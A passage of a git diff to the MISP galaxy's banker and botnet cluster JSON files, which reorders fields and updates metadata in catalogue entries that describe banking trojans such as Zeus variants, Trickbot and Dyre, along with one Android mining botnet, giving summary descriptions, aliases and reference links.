"http://archive.is/I7hi8#selection-217.0-217.6"
]
},
- "description": "Gozi ISFB variant ",
- "value": "IAP",
- "uuid": "0f96a666-bf26-44e0-8ad6-f2136208c924"
+ "uuid": "0f96a666-bf26-44e0-8ad6-f2136208c924",
+ "value": "IAP"
},
{
+ "description": "GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers.",
"meta": {
"date": "Spring 2016",
"refs": [
@@ -132,11 +138,11 @@
"https://lokalhost.pl/gozi_tree.txt"
]
},
- "description": "GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers.",
- "value": "GozNym",
- "uuid": "bcefac9a-a928-490f-9cb6-a8863f40c949"
+ "uuid": "bcefac9a-a928-490f-9cb6-a8863f40c949",
+ "value": "GozNym"
},
{
+ "description": "Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails. ",
"meta": {
"date": "First seen in Fall 2016 and still active today.",
"refs": [
@@ -147,11 +153,11 @@
"Zeus Terdot"
]
},
- "description": "Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails. ",
- "value": "Zloader Zeus",
- "uuid": "2eb658ed-aff4-4253-a21f-9059b133ce17"
+ "uuid": "2eb658ed-aff4-4253-a21f-9059b133ce17",
+ "value": "Zloader Zeus"
},
{
+ "description": "Zeus variant that utilizes steganography in image files to retrieve configuration file. ",
"meta": {
"date": "First seen ~Feb 2014",
"refs": [
@@ -162,22 +168,22 @@
"VM Zeus"
]
},
- "description": "Zeus variant that utilizes steganography in image files to retrieve configuration file. ",
- "value": "Zeus VM",
- "uuid": "09d1cad8-6b06-48d7-a968-5b17bbe9ca65"
+ "uuid": "09d1cad8-6b06-48d7-a968-5b17bbe9ca65",
+ "value": "Zeus VM"
},
{
+ "description": "Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.",
"meta": {
"date": "First seen ~Aug 2015",
"refs": [
"https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/"
]
},
- "description": "Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.",
- "value": "Zeus Sphinx",
- "uuid": "8914802c-3aca-4a0d-874a-85ac7a1bc505"
+ "uuid": "8914802c-3aca-4a0d-874a-85ac7a1bc505",
+ "value": "Zeus Sphinx"
},
{
+ "description": "Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.",
"meta": {
"date": "First seen ~ Spring 2016",
"refs": [
@@ -189,11 +195,11 @@
"Zeus Panda"
]
},
- "description": "Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.",
- "value": "Panda Banker",
- "uuid": "f1971442-6477-4aa2-aafa-7529b8252455"
+ "uuid": "f1971442-6477-4aa2-aafa-7529b8252455",
+ "value": "Panda Banker"
},
{
+ "description": "Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it's config in the registry. ",
"meta": {
"date": "First seen 2014",
"refs": [
@@ -205,11 +211,11 @@
"Maple"
]
},
- "description": "Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it's config in the registry. ",
- "value": "Zeus KINS",
- "uuid": "bc0be3a4-89d8-4c4c-b2aa-2dddbed1f71d"
+ "uuid": "bc0be3a4-89d8-4c4c-b2aa-2dddbed1f71d",
+ "value": "Zeus KINS"
},
{
+ "description": "Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.",
"meta": {
"date": "First seen fall of 2014",
"refs": [
@@ -220,11 +226,11 @@
"Chtonic"
]
},
- "description": "Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.",
- "value": "Chthonic",
- "uuid": "6deb9f26-969b-45aa-9222-c23663fd6ef8"
+ "uuid": "6deb9f26-969b-45aa-9222-c23663fd6ef8",
+ "value": "Chthonic"
},
{
+ "description": "Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan",
"meta": {
"date": "Discovered Fall 2016",
"refs": [
@@ -238,11 +244,11 @@
"Trickloader"
]
},
- "description": "Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan",
- "value": "Trickbot",
- "uuid": "07e3260b-d80c-4c86-bd28-8adc111bbec6"
+ "uuid": "07e3260b-d80c-4c86-bd28-8adc111bbec6",
+ "value": "Trickbot"
},
{
+ "description": "Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim's computer.",
"meta": {
"date": "Discovered ~June 2014",
"refs": [
@@ -253,11 +259,11 @@
"Dyreza"
]
},
- "description": "Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim's computer.",
- "value": "Dyre",
- "uuid": "15e969e6-f031-4441-a49b-f401332e4b00"
+ "uuid": "15e969e6-f031-4441-a49b-f401332e4b00",
+ "value": "Dyre"
},
{
+ "description": "Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.",
"meta": {
"date": "Discovered ~Spring 2012",
"refs": [
@@ -272,11 +278,11 @@
"illi"
]
},
- "description": "Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.",
- "value": "Tinba",
- "uuid": "5594b171-32ec-4145-b712-e7701effffdd"
+ "uuid": "5594b171-32ec-4145-b712-e7701effffdd",
+ "value": "Tinba"
},
{
+ "description": "Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.",
"meta": {
"date": "Discovered ~Summer 2014",
"refs": [
@@ -288,11 +294,11 @@
"Emotet"
]
},
- "description": "Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.",
- "value": "Geodo",
- "uuid": "8e002f78-7fb8-4e70-afd7-0b4ac655be26"
+ "uuid": "8e002f78-7fb8-4e70-afd7-0b4ac655be26",
+ "value": "Geodo"
},
{
+ "description": "Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.",
"meta": {
"date": "Discovered ~September 2011",
"refs": [
@@ -305,11 +311,11 @@
"Cridex"
]
},
- "description": "Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.",
- "value": "Feodo",
- "uuid": "7ca93488-c357-44c3-b246-3f88391aca5a"
+ "uuid": "7ca93488-c357-44c3-b246-3f88391aca5a",
+ "value": "Feodo"
},
{
+ "description": "Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.",
"meta": {
"date": "Discovered ~2010.",
"refs": [
@@ -319,11 +325,11 @@
"Nimnul"
]
},
- "description": "Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.",
- "value": "Ramnit",
- "uuid": "7e2288ec-e7d4-4833-9245-a2bc5ae40ee2"
+ "uuid": "7e2288ec-e7d4-4833-9245-a2bc5ae40ee2",
+ "value": "Ramnit"
},
{
+ "description": "Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.",
"meta": {
"date": "Discovered ~2007",
"refs": [
@@ -336,11 +342,11 @@
"Pinkslipbot"
]
},
- "description": "Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.",
- "value": "Qakbot",
- "uuid": "b2ec1f16-2a76-4910-adc5-ecb3570e7c1a"
+ "uuid": "b2ec1f16-2a76-4910-adc5-ecb3570e7c1a",
+ "value": "Qakbot"
},
{
+ "description": "Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.",
"meta": {
"date": "Discovered ~Fall 2015",
"refs": [
@@ -349,11 +355,11 @@
"https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/"
]
},
- "description": "Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.",
- "value": "Corebot",
- "uuid": "8a3d46db-d3b4-4f89-99e2-d1f0de3f484c"
+ "uuid": "8a3d46db-d3b4-4f89-99e2-d1f0de3f484c",
+ "value": "Corebot"
},
{
+ "description": "TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It's main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.",
"meta": {
"date": "Discovered ~December 2016",
"refs": [
@@ -370,11 +376,11 @@
"Xbot"
]
},
- "description": "TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It's main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.",
- "value": "TinyNuke",
- "uuid": "e683cd91-40b4-4e1c-be25-34a27610a22e"
+ "uuid": "e683cd91-40b4-4e1c-be25-34a27610a22e",
+ "value": "TinyNuke"
},
{
+ "description": "Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails. ",
"meta": {
"date": "Discovered in 2014",
"refs": [
@@ -389,11 +395,11 @@
"Werdlod"
]
},
- "description": "Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails. ",
- "value": "Retefe",
- "uuid": "87b69cb4-8b65-47ee-91b0-9b1decdd5c5c"
+ "uuid": "87b69cb4-8b65-47ee-91b0-9b1decdd5c5c",
+ "value": "Retefe"
},
{
+ "description": "ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.",
"meta": {
"date": "Discovered ~early 2015",
"refs": [
@@ -403,22 +409,22 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/"
]
},
- "description": "ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.",
- "value": "ReactorBot",
- "uuid": "d939e802-acb2-4881-bdaf-ece1eccf5699"
+ "uuid": "d939e802-acb2-4881-bdaf-ece1eccf5699",
+ "value": "ReactorBot"
},
{
+ "description": "Matrix Banker is named accordingly because of the Matrix reference in it's C2 panel. Distributed primarily via malspam emails.",
"meta": {
"date": "Discovered ~Spring 2017",
"refs": [
"https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/"
]
},
- "description": "Matrix Banker is named accordingly because of the Matrix reference in it's C2 panel. Distributed primarily via malspam emails.",
- "value": "Matrix Banker",
- "uuid": "aa3fc68c-413c-4bfb-b4cd-bca7094da985"
+ "uuid": "aa3fc68c-413c-4bfb-b4cd-bca7094da985",
+ "value": "Matrix Banker"
},
{
+ "description": "Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.",
"meta": {
"date": "Discovered ~Sept. 2011",
"refs": [
@@ -426,11 +432,11 @@
"https://www.us-cert.gov/ncas/alerts/TA14-150A"
]
},
- "description": "Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.",
- "value": "Zeus Gameover",
- "uuid": "8653a94e-3eb3-4d88-8683-a1ae4a524774"
+ "uuid": "8653a94e-3eb3-4d88-8683-a1ae4a524774",
+ "value": "Zeus Gameover"
},
{
+ "description": "SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.",
"meta": {
"date": "Discovered early 2011",
"refs": [
@@ -439,11 +445,11 @@
"https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot"
]
},
- "description": "SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.",
- "value": "SpyEye",
- "uuid": "ebce18e9-b387-4b7d-bab9-4acd4fca7a7c"
+ "uuid": "ebce18e9-b387-4b7d-bab9-4acd4fca7a7c",
+ "value": "SpyEye"
},
{
+ "description": "Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.",
"meta": {
"date": "Discovered ~January 2012",
"refs": [
@@ -452,11 +458,11 @@
"https://securityintelligence.com/cybercriminals-use-citadel-compromise-password-management-authentication-solutions/"
]
},
- "description": "Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.",
- "value": "Citadel",
- "uuid": "9eb89081-3245-423a-995f-c1d78ce39619"
+ "uuid": "9eb89081-3245-423a-995f-c1d78ce39619",
+ "value": "Citadel"
},
{
+ "description": "Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.",
"meta": {
"date": "Discovered ~spring 2016",
"refs": [
@@ -464,33 +470,33 @@
"http://www.xylibox.com/2016/02/citadel-0011-atmos.html"
]
},
- "description": "Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.",
- "value": "Atmos",
- "uuid": "ee021933-929d-4d6c-abca-5827cfb77289"
+ "uuid": "ee021933-929d-4d6c-abca-5827cfb77289",
+ "value": "Atmos"
},
{
+ "description": "Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.",
"meta": {
"date": "Discovered ~Fall 2011",
"refs": [
"https://securelist.com/ice-ix-not-cool-at-all/29111/ "
]
},
- "description": "Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.",
- "value": "Ice IX",
- "uuid": "1d4a5704-c6fb-4bbb-92b2-88dc67f86339"
+ "uuid": "1d4a5704-c6fb-4bbb-92b2-88dc67f86339",
+ "value": "Ice IX"
},
{
+ "description": "Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.",
"meta": {
"date": "Discovered ~end of 2010",
"refs": [
"https://securelist.com/zeus-in-the-mobile-for-android-10/29258/"
]
},
- "description": "Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.",
- "value": "Zitmo",
- "uuid": "3b1aff8f-647d-4709-aab0-6db1859c5f11"
+ "uuid": "3b1aff8f-647d-4709-aab0-6db1859c5f11",
+ "value": "Zitmo"
},
{
+ "description": "Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011",
"meta": {
"date": "Discovered in 2010",
"refs": [
@@ -502,22 +508,22 @@
"Murofet"
]
},
- "description": "Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011",
- "value": "Licat",
- "uuid": "0b097926-2e1a-4134-8ab9-4c16d0cca0fc"
+ "uuid": "0b097926-2e1a-4134-8ab9-4c16d0cca0fc",
+ "value": "Licat"
},
{
+ "description": "Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.",
"meta": {
"date": "Discovered end of 2012",
"refs": [
"https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/"
]
},
- "description": "Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.",
- "value": "Skynet",
- "uuid": "f20791e4-26a7-45e0-90e6-709553b223b2"
+ "uuid": "f20791e4-26a7-45e0-90e6-709553b223b2",
+ "value": "Skynet"
},
{
+ "description": "According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.",
"meta": {
"date": "Discovered in September 2017",
"refs": [
@@ -526,41 +532,41 @@
"http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html"
]
},
- "description": "According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.",
- "value": "IcedID",
- "uuid": "9d67069c-b778-486f-8158-53f5dcd05d08"
+ "uuid": "9d67069c-b778-486f-8158-53f5dcd05d08",
+ "value": "IcedID"
},
{
+ "description": "GratefulPOS has the following functions\n1. Access arbitrary processes on the target POS system\n2. Scrape track 1 and 2 payment card data from the process(es)\n3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.",
"meta": {
"refs": [
"https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season"
]
},
- "description": "GratefulPOS has the following functions\n1. Access arbitrary processes on the target POS system\n2. Scrape track 1 and 2 payment card data from the process(es)\n3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.",
- "value": "GratefulPOS",
- "uuid": "7d9362e5-e3cf-4640-88a2-3faf31952963"
+ "uuid": "7d9362e5-e3cf-4640-88a2-3faf31952963",
+ "value": "GratefulPOS"
},
{
+ "description": "A macOS banking trojan that that redirects an infected user's web traffic in order to extract banking credentials.",
"meta": {
"refs": [
"https://objective-see.com/blog/blog_0x25.html#Dok"
]
},
- "description": "A macOS banking trojan that that redirects an infected user's web traffic in order to extract banking credentials.",
- "value": "Dok",
- "uuid": "e159c4f8-3c22-49f9-a60a-16588a9c22b0"
+ "uuid": "e159c4f8-3c22-49f9-a60a-16588a9c22b0",
+ "value": "Dok"
},
{
+ "description": "Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.",
"meta": {
"refs": [
"https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/"
]
},
- "description": "Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.",
- "value": "downAndExec",
- "uuid": "bfff538a-89dd-4bed-9ac1-b4faee373724"
+ "uuid": "bfff538a-89dd-4bed-9ac1-b4faee373724",
+ "value": "downAndExec"
},
{
+ "description": "Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware.\nThe speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.",
"meta": {
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators"
@@ -570,30 +576,29 @@
"lsmo"
]
},
- "description": "Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware.\nThe speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.",
- "value": "Smominru",
- "uuid": "f93acc85-8d2c-41e0-b0c5-47795b8c6194"
+ "uuid": "f93acc85-8d2c-41e0-b0c5-47795b8c6194",
+ "value": "Smominru"
},
{
+ "description": "It's a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)",
"meta": {
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0"
]
},
- "description": "It's a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)",
- "value": "DanaBot",
- "uuid": "844417c6-a404-4c4e-8e93-84db596d725b"
+ "uuid": "844417c6-a404-4c4e-8e93-84db596d725b",
+ "value": "DanaBot"
},
{
+ "description": "The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload",
"meta": {
"refs": [
"https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/",
"https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/"
]
},
- "description": "The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload",
- "value": "Backswap",
- "uuid": "ea0b5f45-6b56-4c92-b22b-0d84c45160a0"
+ "uuid": "ea0b5f45-6b56-4c92-b22b-0d84c45160a0",
+ "value": "Backswap"
},
{
"meta": {
@@ -606,8 +611,8 @@
"Shiotob"
]
},
- "value": "Bebloh",
- "uuid": "67a1a317-9f79-42bd-a4b2-fa1867d37d27"
+ "uuid": "67a1a317-9f79-42bd-a4b2-fa1867d37d27",
+ "value": "Bebloh"
},
{
"meta": {
@@ -620,8 +625,8 @@
"BackPatcher"
]
},
- "value": "Banjori",
- "uuid": "f68555ff-6fbd-4f5a-bc23-34996f629c52"
+ "uuid": "f68555ff-6fbd-4f5a-bc23-34996f629c52",
+ "value": "Banjori"
},
{
"meta": {
@@ -629,8 +634,8 @@
"https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/"
]
},
- "value": "Qadars",
- "uuid": "a717c873-6670-447a-ba98-90db6464c07d"
+ "uuid": "a717c873-6670-447a-ba98-90db6464c07d",
+ "value": "Qadars"
},
{
"meta": {
@@ -638,8 +643,8 @@
"https://www.johannesbader.ch/2016/06/the-dga-of-sisron/"
]
},
- "value": "Sisron",
- "uuid": "610a136c-820d-4f5f-b66c-ae298923dc55"
+ "uuid": "610a136c-820d-4f5f-b66c-ae298923dc55",
+ "value": "Sisron"
},
{
"meta": {
@@ -647,8 +652,8 @@
"https://www.johannesbader.ch/2016/06/the-dga-of-sisron/"
]
},
- "value": "Ranbyus",
- "uuid": "6720f960-0382-479b-a0f8-f9e008995af4"
+ "uuid": "6720f960-0382-479b-a0f8-f9e008995af4",
+ "value": "Ranbyus"
},
{
"meta": {
@@ -656,20 +661,21 @@
"https://searchfinancialsecurity.techtarget.com/news/4500249201/Fobber-Drive-by-financial-malware-returns-with-new-tricks"
]
},
- "value": "Fobber",
- "uuid": "da124511-463c-4514-ad05-7ec8db1b38aa"
+ "uuid": "da124511-463c-4514-ad05-7ec8db1b38aa",
+ "value": "Fobber"
},
{
+ "description": "Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\\64.exe, proxy32\\64.dll and mod32\\64.dll), these components essentially work together to deploy webinjects in several browsers.",
"meta": {
"refs": [
"https://research.checkpoint.com/banking-trojans-development/"
]
},
- "description": "Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\\64.exe, proxy32\\64.dll and mod32\\64.dll), these components essentially work together to deploy webinjects in several browsers.",
- "value": "Karius",
- "uuid": "a088c428-d0bb-49c8-9ed7-dcced0c74754"
+ "uuid": "a088c428-d0bb-49c8-9ed7-dcced0c74754",
+ "value": "Karius"
},
{
+ "description": "Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Kronos_(malware)",
@@ -677,15 +683,9 @@
"https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/"
]
},
- "description": "Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.",
- "value": "Kronos",
- "uuid": "5b42af8e-8fdc-11e8-bf48-f32ff64d5502"
+ "uuid": "5b42af8e-8fdc-11e8-bf48-f32ff64d5502",
+ "value": "Kronos"
}
],
- "authors": [
- "Unknown",
- "raw-data"
- ],
- "type": "banker",
- "name": "Banker"
+ "version": 11
}
diff --git a/clusters/botnet.json b/clusters/botnet.json
index a7862a8..15a4836 100644
--- a/clusters/botnet.json
+++ b/clusters/botnet.json
@@ -1,20 +1,25 @@
{
+ "authors": [
+ "Various"
+ ],
"description": "botnet galaxy",
- "uuid": "a91732f4-164a-11e8-924a-ffd4097eb03f",
+ "name": "Botnet",
"source": "MISP Project",
- "version": 8,
+ "type": "botnet",
+ "uuid": "a91732f4-164a-11e8-924a-ffd4097eb03f",
"values": [
{
+ "description": "A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.\n\nThe botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.\n\nOnly devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/"
]
},
- "description": "A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.\n\nThe botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.\n\nOnly devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.",
- "value": "ADB.miner",
- "uuid": "6d7fc046-61c8-4f4e-add9-eebe5b5f4f69"
+ "uuid": "6d7fc046-61c8-4f4e-add9-eebe5b5f4f69",
